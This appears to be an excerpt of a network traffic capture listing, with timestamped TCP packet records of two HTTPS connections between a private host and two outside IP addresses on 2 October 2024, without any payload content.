Oct 2, 2024 05:23:14.082185030 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.082205057 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.082356930 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.082412958 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.082461119 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.097811937 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.097836018 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.097898006 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.097927094 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.097971916 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.098150015 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.098167896 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.098222017 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.098231077 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.098278999 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.163707018 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.163727045 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.163917065 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.163954973 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.164037943 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.164062977 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.164079905 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.164124966 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.164134026 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.164169073 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.165925026 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.165942907 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.166066885 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.166096926 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.166165113 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.166399002 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.166416883 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.166464090 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.166476965 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.166491985 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.166512012 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.166625977 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.166641951 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.166692019 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.166699886 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.166739941 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.172991037 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.173010111 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.173106909 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.173127890 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.173170090 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.188640118 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.188657999 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.188770056 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.188810110 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.188827991 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.188854933 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.188968897 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.188988924 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.189037085 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.189045906 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.189084053 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.254420996 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.254439116 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.254594088 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.254635096 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.254683018 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.254786015 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.254801035 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.254852057 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.254861116 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.254909992 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.256406069 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.256422997 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.256477118 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.256484985 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.256530046 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.256966114 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.256983995 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.257045984 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.257070065 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.257136106 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.257309914 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.257325888 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.257378101 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.257385969 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.257421970 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.263906956 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.263923883 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.264005899 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.264050961 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.264096022 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.279500961 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.279525995 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.279639006 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.279673100 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.279731035 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.279740095 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.279747963 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.279788017 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.279800892 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.279805899 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.279850006 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.279869080 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.345062017 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.345084906 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.345304966 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.345340014 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.345405102 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.345590115 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.345606089 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.345665932 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.345676899 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.345721960 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.347090960 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.347106934 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.347166061 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.347191095 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.347213984 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.347235918 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.347538948 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.347556114 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.347609997 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.347619057 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.347656965 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.348006964 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.348021984 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.348073006 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.348079920 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.348118067 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.354516029 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.354535103 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.354612112 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.354640961 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.354679108 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.370162964 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.370193005 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.370307922 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.370342016 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.370398998 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.370417118 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.370431900 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.370488882 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.370497942 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.370541096 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.435894966 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.435920954 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.436032057 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.436072111 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.436120987 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.436247110 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.436266899 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.436348915 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.436362028 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.436430931 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.437860012 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.437875986 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.437941074 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.437959909 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.438008070 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.438297987 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.438313961 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.438368082 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.438376904 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.438410044 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.438903093 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.438919067 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.438977957 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.438988924 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.439030886 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.445163965 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.445178986 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.445287943 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.445311069 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.445357084 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.460767031 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.460788965 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.460916042 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.460943937 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.460988998 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.461116076 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.461129904 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.461203098 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.461213112 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.461251020 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.526669025 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.526690006 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.526855946 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.526896000 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.526952982 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.527046919 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.527062893 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.527121067 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.527127981 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.527164936 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.528738022 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.528755903 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.528841972 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.528850079 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.528892994 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.529141903 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.529159069 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.529221058 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.529230118 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.529268026 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.529715061 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.529730082 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.529777050 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.529784918 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.529818058 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.529835939 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.536005020 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.536026001 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.536159039 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.536170959 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.536214113 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.551579952 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.551601887 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.551737070 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.551745892 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.551801920 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.551872015 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.551887989 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.551934004 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.551940918 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.551970959 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.551991940 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.617430925 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.617455006 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.617641926 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.617662907 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.617712975 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.617777109 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.617794037 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.617830992 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.617836952 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.617877007 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.617897034 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.619288921 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.619306087 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.619378090 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.619390965 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.619431973 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.619803905 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.619821072 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.619872093 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.619882107 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.619924068 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.620271921 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.620287895 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.620328903 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.620337009 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.620383024 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.620418072 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.626646042 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.626667976 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.626705885 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.626717091 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.626758099 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.626774073 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.642306089 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.642323017 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.642416000 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.642436028 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.642476082 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.642692089 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.642709970 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.642757893 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.642765999 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.642805099 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.642805099 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.708250046 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.708278894 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.708394051 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.708424091 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.708467007 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.708595991 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.708615065 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.708693027 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.708700895 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.708760977 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.710464954 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.710485935 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.710583925 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.710592985 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.710652113 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.710735083 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.710757017 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.710809946 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.710819006 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.710846901 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.710881948 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.711225986 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.711249113 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.711308002 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.711316109 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.711353064 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.713285923 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.713359118 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.713366032 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.713385105 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:14.713407040 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.713459015 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.716227055 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:14.845247984 CEST	49703	443	192.168.2.10	162.159.140.237
Oct 2, 2024 05:23:14.845340014 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:14.845438957 CEST	49703	443	192.168.2.10	162.159.140.237
Oct 2, 2024 05:23:14.846016884 CEST	49703	443	192.168.2.10	162.159.140.237
Oct 2, 2024 05:23:14.846038103 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:15.317997932 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:15.318129063 CEST	49703	443	192.168.2.10	162.159.140.237
Oct 2, 2024 05:23:15.320888042 CEST	49703	443	192.168.2.10	162.159.140.237
Oct 2, 2024 05:23:15.320905924 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:15.321171045 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:15.322232008 CEST	49703	443	192.168.2.10	162.159.140.237
Oct 2, 2024 05:23:15.367409945 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:16.112523079 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:16.154155016 CEST	49703	443	192.168.2.10	162.159.140.237
Oct 2, 2024 05:23:16.170589924 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:16.170639992 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:16.170684099 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:16.170732975 CEST	49703	443	192.168.2.10	162.159.140.237
Oct 2, 2024 05:23:16.170748949 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:16.170770884 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:16.170785904 CEST	49703	443	192.168.2.10	162.159.140.237
Oct 2, 2024 05:23:16.170819998 CEST	49703	443	192.168.2.10	162.159.140.237
Oct 2, 2024 05:23:16.171180964 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:16.171224117 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:16.171283007 CEST	49703	443	192.168.2.10	162.159.140.237
Oct 2, 2024 05:23:16.171295881 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:16.216628075 CEST	49703	443	192.168.2.10	162.159.140.237
Oct 2, 2024 05:23:16.240231991 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:16.258275986 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:16.258301020 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:16.258445024 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:16.258479118 CEST	443	49703	162.159.140.237	192.168.2.10
Oct 2, 2024 05:23:16.258502007 CEST	49703	443	192.168.2.10	162.159.140.237
Oct 2, 2024 05:23:16.258514881 CEST	443	49703	162.159.140.237	192.168.2.10
